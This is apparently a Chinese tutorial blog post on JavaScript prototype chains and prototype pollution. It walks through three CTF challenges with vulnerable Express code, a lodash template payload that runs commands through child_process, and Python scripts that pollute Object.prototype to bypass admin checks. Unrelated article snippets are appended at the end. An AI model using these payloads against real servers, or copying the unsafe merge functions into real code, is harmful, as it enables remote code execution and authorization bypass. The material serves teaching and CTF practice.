原型链污染攻击
想要很清楚了理解原型链污染我们首先必须要弄清楚原型链这个概念
可以看这篇文章:对象的继承和原型链
目录
prototype和__proto__分别是什么?
原型链继承
原型链污染是什么
哪些情况下原型链会被污染?
例题1:Code-Breaking 2018 Thejs 分析
例题2:hackit-2018
例题3:hackim-2019
prototype和__proto__分别是什么?
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
function Foo() { //构造函数this.bar = 1 //构造函数的一个属性
}
new Foo()
构造函数一般函数名的首字母必须大写,Foo函数就是一个构造函数,Foo
函数的内容,就是Foo
类的构造函数,而this.bar
就是Foo
类的一个属性。
为了简化编写JavaScript代码,ECMAScript 6后增加了
class
语法,但class
其实只是一个语法糖。
一个类必然有一些方法,类似属性this.bar
,我们也可以将方法定义在构造函数内部:
function Foo() {this.bar = 1this.show = function() {console.log(this.bar)}
}
(new Foo()).show()
这里定义的show就是一个方法
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...
就会执行一次,问题的愿意就是因为:这个show
方法实际上是绑定在对象上的,而不是绑定在“类”中。
我们希望在创建类的时候只创建一次show
方法,这时候就则需要使用原型(prototype)了:
function Foo() {this.bar = 1
}
Foo.prototype.show = function show() {console.log(this.bar)
}
let foo = new Foo()
foo.show()
我们可以认为原型prototype
是类Foo
的一个属性,而所有用Foo
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。
我们可以通过Foo.prototype
来访问Foo
类的原型,这里就又出现了一个问题:Foo
实例化出来的对象不能通过prototype访问原型的。
这时候,就该__proto__
登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__
属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype
所以,总结一下:
-
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法 -
一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性
原型链继承
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
比如:
function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father() //Son继承了 Father()let son = new Son() //son继承lSon的方法和属性
console.log(`Name: ${son.first_name} ${son.last_name}`) //这里找到了Father中的这两个属性
总结一下,对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
-
在对象son中寻找last_name
-
如果找不到,则在
son.__proto__
中寻找last_name -
如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name -
依次寻找,直到找到
null
结束。比如,Object.prototype
的__proto__
就是null
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:
-
每个构造函数(constructor)都有一个原型对象(prototype)
-
对象的
__proto__
属性,指向类的原型对象prototype
-
JavaScript使用prototype链实现继承机制
原型链污染是什么
前面说到,foo.__proto__
指向的是Foo
类的prototype
。
那么,如果我们修改了foo.__proto__
中的值,是不是就可以修改Foo类呢?
做个简单的实验:
let foo = { bar: 1 }
console.log(foo.bar);
//这里打印 1很正常
foo.__proto__.bar = 2
// foo.__proto__ === Object.prototype
//这里给Object.prototype创建了一个bar赋值为2
console.log(foo.bar);
//这里打印的foo.bar还是foo的bar
let zoo = {}
console.log(zoo.bar);
//这里因为zoo没有定义bar,
// 所以就会到Object.prototype去找bar,就会找到2
最后,虽然zoo是一个空对象{}
,但zoo.bar
的结果居然是2:
原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {}
,zoo对象自然也有一个bar属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。
这种攻击方式就是原型链污染。
哪些情况下原型链会被污染?
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?
其实找找能够控制数组(对象)的“键名”的操作即可:
-
对象merge(克隆)
-
对象clone(其实内核就是将待操作的对象 merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
我们用如下代码实验一下:
function merge(target, source) { //接收两个参数for (let key in source) { //判断source是否有相应的keyif (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]//把第二个参数中的key赋值给了第一个参数中的key}}
}
var x = {// name: 'oupeng',age: 18
}
var y = {// name: 'abc',age: 19,num: 100
}
merge(x, y);
console.log(x);
console.log(y);let o1 = {}//o1是空的
let o2 = { a: 1, "__proto__": { b: 2 } }
//o2对象对象里面有两个参数
merge(o1, o2) //将o2里面的属性,给o1
console.log(o1.a, o1.b)
//这里打印出来应该是1,2
o3 = {}
console.log(o3.b)
结果是,合并虽然成功了,但原型链没有被污染:
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
那么,如何让__proto__
被认为是一个键名呢?
我们将代码改成如下:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
//将json解析为js对象
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
可见,新建的o3对象,也存在b属性,说明Object已经被污染:
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
总结:merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
例题1:Code-Breaking 2018 Thejs 分析
后端主要代码如下(完整代码可参考这里)
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
-
lodash.template
一个简单的模板引擎 -
lodash.merge
函数或对象的合并
其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。
而这里的lodash.merge
操作实际上就存在原型链污染漏洞。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template
中。
我们看到lodash.template
的代码:
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source)//这里的Function是构造函数 .apply(undefined, importsValues);
});
options是一个对象,sourceURL取到了其options.sourceURL
属性。
这个sourceURL属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL
属性。
最后,这个sourceURL
被拼接进new Function
的第二个参数中,造成任意代码执行漏洞。
我将带有__proto__
的Payload以json的形式发送给后端,
因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:
具体过程:
代码:这里
(1)我们首先在server.js目录下新建一个re.js文件,将上面的代码粘贴进去
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果报错,说没有某个模块,那么可以使用
npm install
npm install 模块名
这两条命令任意一条来安装需要的模块
(3)然后我们可以尝试在网页访问:你的ip地址:3000
(4)然后我们使用Burpsuite抓包访问该页面
Payload:
{"__proto__":{"sourceURL":\u000areturn ()=>{for (var a in{})}delete
Object.prototype[a];}return
global.process.mainModule.constructor._load('child_process').execSync('id')}\u00a//"}}
注:这里的 delete Object.prototype[a];是为了在进行了原型链污染后,删除掉该变量,防止其他人访问
例题2:hackit-2018
这里我使用的环境是window
(1)代码
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}
function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}res.render('index');
})
app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}
}
)
app.post('/api', (req, res) => {var client = req.body;var winner = null;
if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;//这里可以这样传入值: matrix[__proto__][__admintoken] = oupeng//注:传值时一定要用json的格式去传值for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}
if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}
})
app.listen(3000, () => {console.log('app listening on port 3000!')
})
分析代码后,我们可以看到,这里的if方法为true时,我们才可以正常的拿到falg,那么想要这if条件成立,需要满足这个条件:user.admintoken的md5值与req.query.querytoken值必须保持一致
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}
然后我们再看代码后发现全文没有对user.admintoken进行赋值,所以理论上这个值是不存在的,但是下面有一句话赋值语句:
matric[client.row][client.col] =client.data
由于client使我们可控的,然后data,row,col,都是我们post传入的值,都是可控的,所以可以通过在这里传入一个值,让没有值的user.admintoken,去原型链上寻找,就会找到我们给matric传入的值,从而实现原型链污染
具体过程 :
(1)我们首先在Node.js目录下新建一个re.js文件,将上面的代码粘贴进去
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果报错,说没有某个模块,那么可以使用
npm install
npm install 模块名
这两条命令任意一条来安装需要的模块
(3)编写Python代码来实现POST请求
import requests
import json
url = "http://你的ip地址:3000/api"
url1 ="http://你的ip地址:3000/admin?querytoken=824b7c531591af853d310b1b028107fe"#这里是yps的参数md5值
headers = {"Content-type":"application/json"}
data = {"row":"__proto__","col":"admintoken","data":"yps"}
res1=requests.post(url,headers=headers,data=json.dumps(data))#污染原型链
#这里的json.dump()是将数据转换为js能够解析的形式
res2=requests.get(url1)
print(res2.text)
(4)运行Python文件
可以看到成功的通过原型链污染,拿到了flag!
例题3:hackim-2019
代码:
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
function clone(a) {return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.name) {res.cookie('name', copybody.name).json({"done": "cookie set"});} else {res.json({"error": "cookie not set"})}
});
app.get('/getFlag', (req, res) => {var аdmin = JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
首先就是先看拿到值的条件:
if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
这里需要admin.admin == 1才能正常拿到
通过分析以上代码,我们可以发现,上面的admin对象是一个空对象,没有值。
function clone(a) {return merge({}, a);
}
这里我们可以使用merge给{}中提交一个key=__proto__,value=admin:1来进行原型链污染,就可以让admin通过原型链找到admin的值==1,来满足if条件,拿到if后面的值,那边我们就可以通过a,本题中传给的a是body来进行污染
具体过程
(1)首先和前面一样新建一个名为re3.js文件
文件内容就是前面的代码
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果在安装包时有一个 "cookie-parser"包一个报错,那么可以在node.js中的package.json中增加这样一行:
"cookie-parser": "^1.4.6"
(3)编写pythonPOST提交代码
import requests
import json
url1 = "http://你的ip地址:8080/signup"
url2 = "http://你的ip地址:8080/getflag"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)
这里的res1会让代码中的body={"__proto__":{admin:1}}
然后代码中的copybody = clone(body),会将body中的内容克隆到 merge函数的空对象中,然后通过merge函数就会污染原型链,后面的res2就可以通过原型链拿到flag
(4)运行python代码
通过结果可以看到,成功的拿到了flag!
相关文章:

原型链污染攻击
想要很清楚了理解原型链污染我们首先必须要弄清楚原型链这个概念 可以看这篇文章:对象的继承和原型链 目录 prototype和__proto__分别是什么? 原型链继承 原型链污染是什么 哪些情况下原型链会被污染? 例题1:Code-Breaking 2…...
Android Glide transform圆形图CircleCrop动态代码描边绘制外框线并rotateImage旋转,Kotlin
Android Glide transform圆形图CircleCrop动态代码描边绘制外框线并rotateImage旋转,Kotlin <?xml version"1.0" encoding"utf-8"?> <FrameLayout xmlns:android"http://schemas.android.com/apk/res/android"xmlns:app&q…...

【ruoyi】微服务关闭登录验证码
登录本地的nacos服务,修改:配置管理-配置列表-ruoyi-gateway-dev.yml 将验证码的enabled设置成false,即可...

AI:78-基于深度学习的食物识别与营养分析
🚀 本文选自专栏:人工智能领域200例教程专栏 从基础到实践,深入学习。无论你是初学者还是经验丰富的老手,对于本专栏案例和项目实践都有参考学习意义。 ✨✨✨ 每一个案例都附带有在本地跑过的代码,详细讲解供大家学习,希望可以帮到大家。欢迎订阅支持,正在不断更新中,…...

日本it培训班,如何选择靠谱的赴日IT培训班?
随着科技的发展,信息技术行业在全球范围内迅速发展,并呈现出蓬勃的发展态势,在日本,IT行业也成为一种极为热门的职业选择。日本专门学校在这个领域内培养了许多IT从业者,成为了众多IT公司的培养基地。如果你对IT产业感…...

51单片机PCF8591数字电压表LCD1602液晶显示设计( proteus仿真+程序+设计报告+讲解视频)
51单片机PCF8591数字电压表LCD1602液晶设计 ( proteus仿真程序设计报告讲解视频) 仿真图proteus7.8及以上 程序编译器:keil 4/keil 5 编程语言:C语言 设计编号:S0060 51单片机PCF8591数字电压表LCD1602液晶设计 1.主要功能&a…...

缅因州政府通知130万人MOVEit数据泄露事件
大家好,今天我要向大家通报一个令人震惊的消息:缅因州政府的系统遭到了入侵,黑客利用MOVEit文件传输工具的漏洞,获取了约130万人的个人信息,这几乎相当于该州的整个人口数量。 MOVEit攻击是Clop勒索软件团伙进行的一次…...
4.2 onnx简化模型结构
前言 对已有的onnx结构,进行简化操作,onnx提供两种常规操作 方式一 假设为 model.onnx, 比较简单粗暴 # 简化 onnxsim model.onnx model_sim.onnx方式二 稍微复杂点,代码有点多 import onnx import argparse from onnxsim import simpl…...

通用的链栈实现(C++)
template<class T> class MyStack//链栈 { private:struct StackNode{T data;StackNode* next;StackNode(const T& val T(), StackNode* p nullptr) :data(val), next(p) {}//};StackNode* top;int cursize;void clone(const MyStack& s){Clear();cursize s.c…...

物联网AI MicroPython学习之语法 bluetooth蓝牙
学物联网,来万物简单IoT物联网!! bluetooth 介绍 该模块为板上的蓝牙控制器提供了相关接口。目前支持低功耗蓝牙 (BLE)的Central(中央), Peripheral(外设), Broadcaster(广播者&…...

React中的key有什么作用?
一、是什么 首先,先给出react组件中进行列表渲染的一个示例: const data = [ { id: 0, name: abc }, { id: 1, name: def }, { id: 2, name: ghi }, { id: 3, name: jkl } ]; const ListItem = (props) => { return <li>{props.name}</li>; }; con…...

初认识vue,v-for,v-if,v-bind,v-model,v-html等指令
vue 一.vue3介绍 1.为什么data是函数而不是对象? 因为vue是组件开发,组件会多次复用,data如果是对象,多次复用是共享,必须函数返回一个新的对象 1. 官网初识 Vue (发音为 /vjuː/,类似 view) 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS …...

Java 算法篇-深入了解单链表的反转(实现:用 5 种方式来具体实现)
🔥博客主页: 小扳_-CSDN博客 ❤感谢大家点赞👍收藏⭐评论✍ 文章目录 1.0 单链表的反转说明 2.0 单链表的创建 3.0 实现单链表反转的五种方法 3.1 实现单链表反转 - 循环复制(迭代法) 3.2 实现单链表反转 - 头插法 3…...
Android 10.0 系统内存优化之修改dalvik虚拟机的内存参数
1.前言 在10.0的系统开发定制中,app应用也是运行在dalvik虚拟机上的,所以对于一些内存低的系统中,在某些大应用会出现耗内存 卡顿情况,这是系统分配的内存不够大,在进行耗内存的操作,就会出现频繁gc等等原因造成不流畅的现象,接下来就分析下 虚拟机分配内存的相关原理 …...

Docker+K8s基础(重要知识点总结)
目录 一、Docker的核心1,Docker引擎2,Docker基础命令3,单个容器运行多个服务进程4,多个容器运行多个服务进程5,备份在容器中运行的数据库6,在宿主机和容器之间共享数据7,在容器之间共享数据8&am…...

IDEA 关闭SpringBoot启动Logo/图标
一、环境 1、SpringBoot 2.6.4 Maven POM格式 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.4</version><relativePath/></parent> 2、IDE…...
提供话费充值接口 话费快充慢充/API独立接口,商城/小程序/公众号合作
话费充值接口文档 接口版本:1.0 ―、引言 文档概述 本文档提供话费充值接口规范说明,提供一整套的完整的接入示例(http 接口)供商户参 考,可以帮助商户开发人员快速完成接口开发与联调,实现与话费充值系统的交易互联。 公司官网…...

[N-133]基于springboot,vue小说网站
开发工具:IDEA 服务器:Tomcat9.0, jdk1.8 项目构建:maven 数据库:mysql5.7 系统分前后台,项目采用前后端分离 前端技术:vueelementUI 服务端技术:springbootmybatis-plus 本项…...

计算机网络:概述
0 学时安排及讨论题目 0.1讨论题目: CSMA/CD协议交换机基本原理ARP协议及其安全子网划分IP分片路由选择算法网络地址转换NATTCP连接建立和释放再论网络体系结构 0.2 本节主要内容 计算机网络在信息时代中的作用 互联网概述 互联网的组成 计算机网络在我国的发展 …...

服务号怎么升级订阅号
服务号和订阅号有什么区别?服务号转为订阅号有哪些作用?首先我们要看一下服务号和订阅号的主要区别。1、服务号推送的消息没有折叠,消息出现在聊天列表中,会像收到消息一样有提醒。而订阅号推送的消息是折叠的,“订阅号…...

K8S认证|CKS题库+答案| 11. AppArmor
目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、切换节点 3)、切换到 apparmor 的目录 4)、执行 apparmor 策略模块 5)、修改 pod 文件 6)、…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了: 这一篇我们开始讲: 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下: 一、场景操作步骤 操作步…...

苍穹外卖--缓存菜品
1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得,如果用户端访问量比较大,数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据,减少数据库查询操作。 缓存逻辑分析: ①每个分类下的菜品保持一份缓存数据…...
Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理
引言 Bitmap(位图)是Android应用内存占用的“头号杀手”。一张1080P(1920x1080)的图片以ARGB_8888格式加载时,内存占用高达8MB(192010804字节)。据统计,超过60%的应用OOM崩溃与Bitm…...
AspectJ 在 Android 中的完整使用指南
一、环境配置(Gradle 7.0 适配) 1. 项目级 build.gradle // 注意:沪江插件已停更,推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...
基于matlab策略迭代和值迭代法的动态规划
经典的基于策略迭代和值迭代法的动态规划matlab代码,实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...
2023赣州旅游投资集团
单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...

以光量子为例,详解量子获取方式
光量子技术获取量子比特可在室温下进行。该方式有望通过与名为硅光子学(silicon photonics)的光波导(optical waveguide)芯片制造技术和光纤等光通信技术相结合来实现量子计算机。量子力学中,光既是波又是粒子。光子本…...
AGain DB和倍数增益的关系
我在设置一款索尼CMOS芯片时,Again增益0db变化为6DB,画面的变化只有2倍DN的增益,比如10变为20。 这与dB和线性增益的关系以及传感器处理流程有关。以下是具体原因分析: 1. dB与线性增益的换算关系 6dB对应的理论线性增益应为&…...

springboot整合VUE之在线教育管理系统简介
可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生,小白用户,想学习知识的 有点基础,想要通过项…...